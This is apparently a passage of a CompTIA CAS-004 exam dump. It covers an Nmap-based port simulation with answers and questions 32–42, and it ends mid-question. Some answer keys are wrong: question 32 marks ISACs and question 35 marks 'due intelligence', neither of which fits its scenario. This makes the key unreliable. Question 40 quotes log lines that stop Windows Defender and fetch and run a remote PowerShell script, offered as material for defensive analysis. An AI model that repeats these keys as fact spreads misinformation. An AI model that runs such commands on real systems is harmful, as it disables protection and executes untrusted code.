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NMAP Scan Output

Nmap scan report for 10.1.45.65
Host is up (0.015s latency).
Not shown: 998 filtered ports

PORT	STATE	SERVICE	VERSION
22/tcp	open	ssh	CrushFTP sftpd (protocol 2.0)
8080/tcp	open	http	CrushFTP web interface

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Microsoft Windows 7|2008
OS CPE: cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_server_2008:r2
OS details: Microsoft Windows 7 SP1 or Windows Server 2008 R2

Nmap scan report for 10.1.45.66
Host is up (0.016s latency).
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PORT	STATE	SERVICE	VERSION
25/tcp	closed	smtp	Barracuda Networks Spam Firewall smtpd
415/tcp	open	ssl/smtp	smtpd
587/tcp	open	ssl/smtp	smtpd
443/tcp	open	ssl/http	Microsoft IIS httpd 7.5

Aggressive OS guesses: Linux 3.16 (90%), OpenWrt Chaos Calmer 15.05 (Linux 3.18) or Designated Driver (Linux 4.1 or 4.4) (89%), OpenWrt Kamikaze 7.09 (Linux 2.6.22) (88%), Linux 4.5 (88%), Asus RT-AC66U router (Linux 2.6) (88%), Linux 3.16 - 4.6 (88%), OpenWrt 0.9 - 7.09 (Linux 2.4.30 - 2.4.34) (87%), OpenWrt White Russian 0.9 (Linux 2.4.30) (87%), Asus RT-N16 WAP (Linux 2.6) (87%), Asus RT-N66U WAP (Linux 2.6) (87%)
No exact OS matches for host (test conditions non-ideal).
Service Info: Host: barracuda.pnp.root; CPE: cpe:/h:barracadanetworks:spam_%26_virus_firewall_600:-

Nmap scan report for 10.1.45.67
Host is up (0.026s latency).
Not shown: 991 filtered ports

PORT	STATE	SERVICE	VERSION
20/tcp	closed	ftp-data	
21/tcp	open	ftp	FileZilla ftpd 0.9.39 beta
22/tcp	closed	ssh	
80/tcp	open	http	Microsoft IIS httpd 7.5
443/tcp	open	ssl/http	Microsoft IIS httpd 7.5
2001/tcp	closed	dc	
2047/tcp	closed	dls	
2196/tcp	closed	unknown	
6001/tcp	closed	X11:1	

Device type: general purpose
Running (JUST GUESSING): Microsoft Windows Vista|7|2008|8.1 (94%)
OS CPE: cpe:/o:microsoft:windows_vista::sp2 cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_8.1:r1
Aggressive OS guesses: Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (94%), Microsoft Windows Server 2008 R2 (92%), Microsoft Windows Server 2008 SP2 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 (87%), Microsoft Windows Server 2008 R2 SP1 (86%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (85%), Microsoft Windows 8.1 R1 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Nmap scan report for 10.1.45.68
Host is up (0.016s latency).
Not shown: 999 filtered ports

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	Pure-FTPD
443/tcp	open	ssl/http-proxy	SonicWALL SSL-VPN http proxy

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: firewall|general purpose|media device
Running (JUST GUESSING): Linux 3.X|2.6.X (92%), IPCop 2.X (92%), Tiandy embedded (86%)
OS CPE: cpe:/o:linux:linux_kernel:3.4 cpe:/o:ipcop:ipcop:2 cpe:/o:linux:linux_kernel:3.2 cpe:/o:linux:linux_kernel:2.6.32
Aggressive OS guesses: IPCop 2 firewall (Linux 3.4) (92%), Linux 3.2 (89%), Linux 2.6.32 (87%), Tiandy NVR (86%)
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Devices Discovered (0)

10.1.45.65

10.1.45.66

10.1.45.67

10.1.45.68

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OS CPE: cpe:/o:microsoft:windows_vista:sp2 cpe:/o:microsoft:windows_7:sp1 cpe:/o:microsoft:windows_server_2008 cpe:/o:microsoft:windows_8.1:r1
Aggressive OS guesses: Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (94%), Microsoft Windows Server 2008 R2 (92%), Microsoft Windows Server 2008 SP2 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 (87%), Microsoft Windows Server 2008 R2 SP1 (86%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (85%), Microsoft Windows 8.1 R1 (85%)
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OS CPE: cpe:/o:linux:linux_kernel:3.4 cpe:/o:ipcop:ipcop:2 cpe:/o:linux:linux_kernel:3.2 cpe:/o:linux:linux_kernel:2.6.32
Aggressive OS guesses: IPCop 2 firewall (Linux 3.4) (92%), Linux 3.2 (89%), Linux 2.6.32 (87%), Tiandy NVR (86%)
No exact OS matches for host (test conditions non-ideal).

Devices Discovered (1)

Add Device For 10.1.45.66

IP Address 10.1.45.65

Role

- SFTP Server
- Email Server
- FTP Server
- UTM Appliance
- Web Server
- Database Server
- AD Server

Disable Protocols

- ☐ 20/tcp
- ☐ 21/tcp
- ☐ 22/tcp
- ☐ 25/tcp
- ☐ 80/tcp
- ☐ 415/tcp
- ☐ 443/tcp
- ☐ 8080/tcp

Correct Answer: See explanation below.

Explanation:

10.1.45.65 SFTP Server Disable 8080

10.1.45.66 Email Server Disable 415 and 443

10.1.45.67 Web Server Disable 21, 80

10.1.45.68 UTM Appliance Disable 21

QUESTION 32

A vulnerability analyst identified a zero-day vulnerability in a company's internally developed software. Since the current vulnerability management system does not have any checks for this vulnerability, an engineer has been asked to create one. Which of the following would be BEST suited to meet these requirements?

- A. ARF
- B. ISACs
- C. Node.js
- D. OVAL

Correct Answer: B

QUESTION 33

A penetration tester obtained root access on a Windows server and, according to the rules of engagement, is permitted to perform post-exploitation for persistence. Which of the following techniques would BEST support this?

- A. Configuring systemd services to run automatically at startup
- B. Creating a backdoor
- C. Exploiting an arbitrary code execution exploit
- D. Moving laterally to a more authoritative server/service

Correct Answer: B

QUESTION 34

A host on a company's network has been infected by a worm that appears to be spreading via SMB. A security analyst has been tasked with containing the incident while also maintaining evidence for a subsequent investigation and malware analysis. Which of the following steps would be best to perform FIRST?

- A. Turn off the infected host immediately.
- B. Run a full anti-malware scan on the infected host.
- C. Modify the smb.conf file of the host to prevent outgoing SMB connections.
- D. Isolate the infected host from the network by removing all network connections.

Correct Answer: D

QUESTION 35

A security team received a regulatory notice asking for information regarding collusion and pricing from staff members who are no longer with the organization. The legal department provided the security team with a list of search terms to investigate. This is an example of:

- A. due intelligence
- B. e-discovery
- C. due care
- D. legal hold

Correct Answer: A

QUESTION 36

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<https://www.ensurepass.com/CAS-004.html>

A company is looking for a solution to hide data stored in databases. The solution must meet the following requirements:

- Be efficient at protecting the production environment
- Not require any change to the application
- Act at the presentation layer

Which of the following techniques should be used?

- A. Masking
- B. Tokenization
- C. Algorithmic
- D. Random substitution

Correct Answer: A

QUESTION 37

A networking team asked a security administrator to enable Flash on its web browser. The networking team explained that an important legacy embedded system gathers SNMP information from various devices. The system can only be managed through a web browser running Flash. The embedded system will be replaced within the year but is still critical at the moment. Which of the following should the security administrator do to mitigate the risk?

- A. Explain to the networking team the reason Flash is no longer available and insist the team move up the timetable for replacement.
- B. Air gap the legacy system from the network and dedicate a laptop with an end-of-life OS on it to connect to the system via crossover cable for management.
- C. Suggest that the networking team contact the original embedded system's vendor to get an update to the system that does not require Flash.
- D. Isolate the management interface to a private VLAN where a legacy browser in a VM can be used as needed to manage the system.

Correct Answer: D

QUESTION 38

A security engineer at a company is designing a system to mitigate recent setbacks caused by competitors that are beating the company to market with the new products. Several of the products incorporate proprietary enhancements developed by the engineer's company. The network already includes a SEIM and a NIPS and requires 2FA for all user access. Which of the following system should the engineer consider NEXT to mitigate the associated risks?

- A. DLP
- B. Mail gateway
- C. Data flow enforcement
- D. UTM

Correct Answer: A

QUESTION 39

All staff at a company have started working remotely due to a global pandemic. To transition to remote work, the company has migrated to SaaS collaboration tools. The human resources

department wants to use these tools to process sensitive information but is concerned the data could be:

- Leaked to the media via printing of the documents
- Sent to a personal email address
- Accessed and viewed by systems administrators
- Uploaded to a file storage site

Which of the following would mitigate the department's concerns?

- A. Data loss detection, reverse proxy, EDR, and PGP
- B. VDI, proxy, CASB, and DRM
- C. Watermarking, forward proxy, DLP, and MFA
- D. Proxy, secure VPN, endpoint encryption, and AV

Correct Answer: C

QUESTION 40

A security analyst notices a number of SIEM events that show the following activity:

```
10/30/2020 - 8:01 UTC - 192.168.1.1 - sc stop WinDefend
10/30/2020 - 8:05 UTC - 192.168.1.2 - c:\program files\games\comptiacasp.exe
10/30/2020 - 8:07 UTC - 192.168.1.1 - c:\windows\system32\cmd.exe /c powershell https://content.comptia.com/content.exam.ps1
10/30/2020 - 8:07 UTC - 192.168.1.1 - powershell --> 40.90.23.154:443
```

Which of the following response actions should the analyst take FIRST?

- A. Disable powershell.exe on all Microsoft Windows endpoints.
- B. Restart Microsoft Windows Defender.
- C. Configure the forward proxy to block 40.90.23.154.
- D. Disable local administrator privileges on the endpoints.

Correct Answer: C

QUESTION 41

A Chief Information Officer is considering migrating all company data to the cloud to save money on expensive SAN storage. Which of the following is a security concern that will MOST likely need to be addressed during migration?

- A. Latency
- B. Data exposure
- C. Data loss
- D. Data dispersion

Correct Answer: B

QUESTION 42

A security analyst detected a malicious PowerShell attack on a single server. The malware used the Invoke-Expression function to execute an external malicious script. The security analyst scanned the disk with an antivirus application and did not find any IOCs. The security analyst now needs to deploy a protection solution against this type of malware. Which of the following BEST